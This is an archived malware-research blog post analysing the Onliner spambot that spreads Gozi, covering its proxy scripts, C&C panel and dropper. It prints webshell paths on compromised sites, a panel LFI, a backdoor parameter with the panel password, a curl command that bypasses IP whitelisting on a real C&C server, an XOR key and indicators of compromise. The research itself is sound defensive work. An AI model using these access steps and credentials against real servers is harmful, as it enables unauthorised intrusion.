Spambot safari #2 - Online Mail System Archived: 2026-04-05 16:42:41 UTC Hey ! today I'll present some research around a spambot named "Onliner". This spambot is actually used for spreading Gozi. I've already talk about Onliner in another blogpost but because the spambot quickly evolve, and the botmaster seems to tries to avoid pwning attempst, I'll try to explain everything here :]. Original sample The first sample that I've grab come from email, dropped by JSDropper. A quick dynamic analysis allow us to understand that it's a spambot (a lot of SMTP connections from the malicious process). Before reversing it, let's look a the CNC communication. Malware communicates over HTTP. An interesting thing is that the process doesn't contacts directly the CNC, it try to contact some proxy web page (PHP script uploaded on compromised websites). Proxy - Good idea - Bad realization Using proxy websites is a good idea only if you don't use poor pwned CMS. With poor pwned CMS it take around 3 minutes to anybody to retrieves your real CNC. Example: I can make some supposition: It's pretty sure that the bot master uses a script for updating all the proxies scripts All the compromised websites are old: most probable infection vectors are FTP Bruteforce or CMS exploits They have leave a php backdoor somewhere on the compromised website I have try to found the PHP backdoor for using it to read the PHP proxy code. After some guessing I have saw that the PHP backdoor is a WSO webshell, uploaded always in the same locations: https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html Page 1 of 15 /cgi-bin/terms.php /cgi-bin/useterms.php /css/terms.php /css/useterms.php the WSO webshell is protected by a poor password -> I can read the PHP proxy code :). The commented version below: 1. array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => http_build_query($_POST).'&ip='.$_SERVER['REMOTE_ADDR'])))); 5. ?> The real CNC is http://194.247.13.8/img/. I'll come back later on the $GET_['99'] / $_POST['99'] parameters, those parameters are really interesting in the pwning process :D. Panel - Good idea - Bad realization https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html Page 2 of 15 Funny, the authentication is not like in others panels. I don't want to directly use brute force here because like in almost all panels it must have a vulnerability somewhere. Come back to the malware communication. As you can see here, the malware download some dll (ssl and 7zip) from the CNC. https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html Page 3 of 15 1. GET /o17504cxn.php?&1001=4&99=15&f1=ssleay32.dll HTTP/1.0 2. User-Agent: Download Master 3. Accept: */* 4. Referer: http://ballettschule-nottuln.de/ 5. Pragma: no-cache 6. Cache-Control: no-cache 7. Host: ballettschule-nottuln.de I'm not a good pentester but when you saw a full dll name ssleay32.dll in a GET parameter, it's smell something bad \o/. Thanks to that LFI we have access to all the panel (click on image bellow for the full album) https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html Page 4 of 15 After looking around, I've found a reference to another IP: 194.247.13.178. This server host another onliner web panel: hxxp://194.247.13.178/naomi/login.php (click on image bellow for the full album) https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html Page 5 of 15 By looking at the IP addresses (194.247.13.18 and 194.247.13.178) it seems that those guys really like "DELTA-X" hoster (Ukraine). You know, for science, I've try to scan 194.247.13.0-255 with Nmap on port 80 + some directory guessing with Patator. And you know what? It works haha! I've found another panel at hxxp://194.247.13.196/asus/login.php . Panel V2 - Good idea - Bad realization After releasing the first blogpost about onliner, the botmaster change some stuff. They start to use IP White listing for accessing the panel, they update some code, they don't patch the LFI, they add some others vulns x]. Now, due to IP White listing, when you try to access the web panel, you are kicked by the PHP script: https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html Page 6 of 15 The LFI is still here so we can look at the code. We can see 4 IPs white listed (Please don't spoil yourself, ignore the 2 first foreach haha I'll discuss that below): 1. $valD){ 7. if ($keyD!='edit_file') { 8. if (strpos($valD,"'") == true) { exit; } 9. if (strpos($valD,'"') == true) { exit; } 10. if (strpos($valD,"--") == true) { exit; } 11. if (stripos($valD,"UNION") == true) { exit; } 12. if (stripos($valD,"SELECT") == true) { exit; } 13. } 14. } 15. foreach($_GET as $keyD=>$valD){ https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html Page 7 of 15 16. if (strpos($valD,"'") == true) { exit; } 17. if (strpos($valD,'"') == true) { exit; } 18. if (strpos($valD,"--") == true) { exit; } 19. if (stripos($valD,"UNION") == true) { exit; } 20. if (stripos($valD,"SELECT") == true) { exit; } 21. } 22. 23. 24. 25. /* Green IP */ 26. $IP[0]="95.211.168.97"; 27. $IP[1]="163.172.235.143"; 28. $IP[2]="66.180.197.197"; 29. $IP[3]="91.215.152.113"; 30. $IP[4]="1"; 31. 32. /* Database Hostname */ 33. $dbhost="localhost"; 34. 35. /* Database User */ 36. $dbuname="root"; 37. 38. /* Database Name */ 39. $dbname="naomi"; 40. 41. /* Password Database */ 42. $dbpass='XXXXXXXXXXX'; https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html Page 8 of 15 43. 44. /* Password */ 45. $password="70183619"; 46. 47. /* Folder */ 48. $dir="naomi"; 49. 50. /* Spamhaus Check */ 51. $SpamhausCheck="0"; 52. 53. /* Sorbs Check */ 54. $SorbsCheck="0"; 55. 56. /* Barracuda Check */ 57. $BarracudaCheck="0"; 58. 59. $LOG='0'; 60. $ip=$_SERVER['REMOTE_ADDR']; 61. include('functions.php'); 62. 63. ?> It looks bad. I can read the PHP code but I can't access the admin panel. It's time to understand the authentication process. Take a seat, it's wonderfull. This is a big picture of the process: https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html Page 9 of 15 admin.php: 1. I cannot explain yet what the hell is that if ($_GET['pass']=='Lm7%Dv)ko4q') { include('login.php'); } Anyway, the big picture show us that the situation looks bad, the IP White listing is done early. But the function for IP White listing is in fact... a backdoor \o/: 1. ?php 2. $L=1; 3. if (($_GET['99']=='')and($_POST['99']=='')) { 4. if (($IP[0]!='')or($IP[1]!='')or($IP[2]!='')or($IP[3]!='')or($IP[4]!='')) { 5. if (($IP[0]==$ip)or($IP[1]==$ip)or($IP[2]==$ip)or($IP[3]==$ip)or($IP[4]==$ip)) { 6. $L=1; 7. } else { 8. $L=0; 9. } 10. } 11. if ($L==0) { die('Not Found 12. The requested URL was not found on this server.'); } 13. $L=0; 14. } 15. ?> https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html Page 11 of 15 Remember the $_GET['99'] in the PHP proxy script ? Look at the script. For bypassing IP White listing when an infected bot try to contacts the CNC, they use this parameters $_GET['99'] and $_POST['99']. I just need the code (in config.php) + set the POST and GET variables and I can access to the CNC from any IPs. curl --data "code=70183619&99=backdoor" "http://194.247.13.178/naomi/admin.php?99=backdoor&mailer=true" > onliner.html Bonus To finish, I just want to show you without comment 2 security features used in the Onliner panel. Anti-SQLi: 1. foreach($_POST as $keyD=>$valD){ 2. if ($keyD!='edit_file') { 3. if (strpos($valD,"'") == true) { exit; } https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html Page 12 of 15 4. if (strpos($valD,'"') == true) { exit; } 5. if (strpos($valD,"--") == true) { exit; } 6. if (stripos($valD,"UNION") == true) { exit; } 7. if (stripos($valD,"SELECT") == true) { exit; } 8. } 9. } 10. foreach($_GET as $keyD=>$valD){ 11. if (strpos($valD,"'") == true) { exit; } 12. if (strpos($valD,'"') == true) { exit; } 13. if (strpos($valD,"--") == true) { exit; } 14. if (stripos($valD,"UNION") == true) { exit; } 15. if (stripos($valD,"SELECT") == true) { exit; } 16. } Anti-... I don't know what: 1. ?php 2. if (StrPos($_GET['edit'],'htaccess')>0) { 3. echo('**Report sent to the administrator 4. If there was an attempt to fill the shell, your account will be disabled.**'); 5. exit; 6. ?> Malware binary The malware himself is in fact a dropper. When you run it, it copy itself in C:\windows\ and re-run as services. The dropper try to drop 2 dlls: http://cnc.com/MailerSMTP/dll.dll : the Spam module http://cnc.com/CheckerSMTP/dll.dll : the SMTP credentials checker module Those 2 dll are xored with the key [0x37, 0x32, 0x44, 0x45, 0x34, 0x45, 0x35, 0x33, 0x36, 0x46, 0x35, 0x42, 0x32, 0x37, 0x39, 0x36, 0x31, 0x43, https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html Page 13 of 15 0x43, 0x44, 0x41, 0x37, 0x30, 0x43, 0x32, 0x30, 0x39, 0x37, 0x38, 0x32, 0x46, 0x44, 0x44, 0x35, 0x31, 0x34, 0x43, 0x34, 0x36, 0x37, 0x44, 0x37, 0x39, 0x44, 0x30, 0x39, 0x39, 0x33, 0x38, 0x30, 0x33, 0x35, 0x31, 0x39, 0x43, 0x33, 0x32, 0x41, 0x46, 0x37, 0x33, 0x30, 0x34, 0x30, 0x00] A little schema of the malware communication initialization: (the communication is encoded with base64 with $_GET parameters) All the modules needed are copied in c:\windows\ too. After installation, the malware wait for command from the CNC. Here, an example with the CheckerSMTP https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html Page 14 of 15 Module: The CNC send the "control account", this account (mail+password+smtpserver) is used to be sure that the spamming process works. Valid SMTP credentials can be sends to this control account to The CNC send a file a list of SMTP server + a list of compromised account in 2 zip files. mask.zip and 3746000.zip The CNC wait until the bot finish his job and send another list of SMTP+Credentials The sample is pretty good detected by AV industry (maybe due to the lot of debug strings present in the binary). Conclusion As reminded, this spam bot is used to spread Gozi in Italy and Canada. Onliner has around 1000 infected bots, they don't spread to much sample of the spambot. I look forward the next update of the panel. Annexe Onliner known IPs: 194.247.13.8 194.247.13.178 194.247.13.196 91.210.165.163 Spambot sample: 9144917a27453e8d69596a41ea003a5bf7d33334caaa4e67f5f8f9ef9cc3bcd1 B5C87CAB2FF99D1E4B4C3EE897B07869FA8F6A63FBD27018F589C105FAF91FCD Module samples: 3f28a345393273cab4c6cea060644646bf9d0e5b2ebd7dd0c3935fe696223565 b535d1eec26275fb53561a7dd3c6454b8036176f8fbdd12a64f2ed4defccb618 Source: https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html Page 15 of 15 http://cnc.com/CheckerSMTP/dll.dll Those 2 dll are xored with the key : the SMTP credentials checker module [0x37, 0x32, 0x44, 0x45, 0x34, 0x45, 0x35, 0x33, 0x36, 0x46, 0x35, 0x42, 0x32, 0x37, 0x39, 0x36, 0x31, 0x43, Page 13 of 15